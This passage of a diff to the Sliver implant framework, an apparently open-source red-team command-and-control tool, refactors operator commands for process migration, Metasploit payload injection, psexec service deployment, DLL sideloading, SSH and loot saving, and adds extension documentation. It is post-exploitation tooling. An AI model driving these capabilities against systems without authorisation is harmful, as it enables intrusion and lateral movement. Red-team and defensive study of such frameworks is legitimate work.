|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
token := ctx.Flags.Bool("token")
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
return
|
||||
}
|
||||
|
||||
if exec.Response != nil && exec.Response.Async {
|
||||
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, exec)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
} else {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = string(exec.Stdout)
|
||||
con.PrintInfof("Output:\n%s", combined)
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
if saveLoot && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -25,13 +25,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -57,8 +59,8 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
@@ -70,7 +72,24 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
@@ -21,11 +21,12 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -36,14 +37,14 @@ import (
|
||||
|
||||
// PsExecCmd - psexec command implementation.
|
||||
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
if hostname == "" {
|
||||
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
profile := ctx.Flags.String("profile")
|
||||
@@ -53,9 +54,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You might want to change that before going further...\n")
|
||||
if !con.IsUserAnAdult() {
|
||||
if !settings.IsUserAnAdult(con) {
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: filePath,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
uploadCtrl <- true
|
||||
<-uploadCtrl
|
||||
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
|
||||
BinPath: binaryPath,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ServiceDescription: serviceDesc,
|
||||
ServiceName: serviceName,
|
||||
Arguments: "",
|
||||
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hostname: hostname,
|
||||
ServiceName: serviceName,
|
||||
},
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
removeChan <- true
|
||||
<-removeChan
|
||||
@@ -159,10 +160,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -20,17 +23,20 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -38,22 +44,24 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
entryPoint := ctx.Flags.String("entry-point")
|
||||
processName := ctx.Flags.String("process")
|
||||
args := ctx.Flags.String("args")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -62,14 +70,38 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideload - Print the sideload command output
|
||||
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", sideload.GetResult())
|
||||
if outFilePath != nil {
|
||||
|
||||
@@ -5,18 +5,20 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
@@ -36,24 +38,48 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Args: dllArgs,
|
||||
EntryPoint: exportName,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDll - Print the SpawnDll command response
|
||||
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", spawndll.GetResult())
|
||||
if outFilePath != nil {
|
||||
|
||||
+30
-13
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
||||
@@ -19,7 +20,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
privKey []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -51,33 +52,49 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
||||
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
||||
Username: username,
|
||||
Hostname: hostname,
|
||||
Port: uint32(port),
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if sshCmd.Response != nil && sshCmd.Response.Async {
|
||||
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sshCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sshCmd.Response)
|
||||
} else {
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
if commandResp.Response != nil && commandResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
|
||||
if commandResp.StdErr != "" {
|
||||
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
|
||||
// PrintSSHCmd - Print the ssh command response
|
||||
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
|
||||
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
|
||||
}
|
||||
return
|
||||
}
|
||||
if commandResp.StdOut != "" {
|
||||
con.PrintInfof("Output:")
|
||||
con.Println(commandResp.StdOut)
|
||||
if commandResp.StdErr != "" {
|
||||
con.PrintInfof("StdErr")
|
||||
con.Println(commandResp.StdErr)
|
||||
if sshCmd.StdOut != "" {
|
||||
con.PrintInfof("Output:\n")
|
||||
con.Println(sshCmd.StdOut)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintInfof("StdErr:\n")
|
||||
con.Println(sshCmd.StdErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
Extensions
|
||||
===========
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
|
||||
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
|
||||
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
|
||||
be ignored.
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── extension.json
|
||||
└── windows
|
||||
│ └── extension.x86.dll
|
||||
│ └── extension.x64.dll
|
||||
└── linux
|
||||
│ └── extension.x86.so
|
||||
│ └── extension.x64.so
|
||||
└── darwin
|
||||
└── extension.x86.dylib
|
||||
└── extension.x64.dylib
|
||||
```
|
||||
|
||||
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "foo",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "ac1d-burn",
|
||||
"original_author": "zer0-cool",
|
||||
"repo_url": "https://github.com/foo/bar",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"depends_on": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "extension.x64.o",
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
|
||||
- `name`: name of the extension, which will also be the name of the command in the sliver client
|
||||
- `help`: the documentation for the new command
|
||||
- `entrypoint`: the name of the exported function to call
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
- `string`: regular ASCII string
|
||||
- `wstring`: string that will be UTF16 encoded
|
||||
- `int`: will be parsed as a 32 bit unsigned integer
|
||||
- `short`: will be parsed as a 16 bit unsigned integer
|
||||
- `file`: a string to a file path on the client side which content will be passed to the BOF
|
||||
@@ -0,0 +1,125 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
"Extension Author",
|
||||
"Original Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &ExtensionManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
results = append(results, manifest.CommandName)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
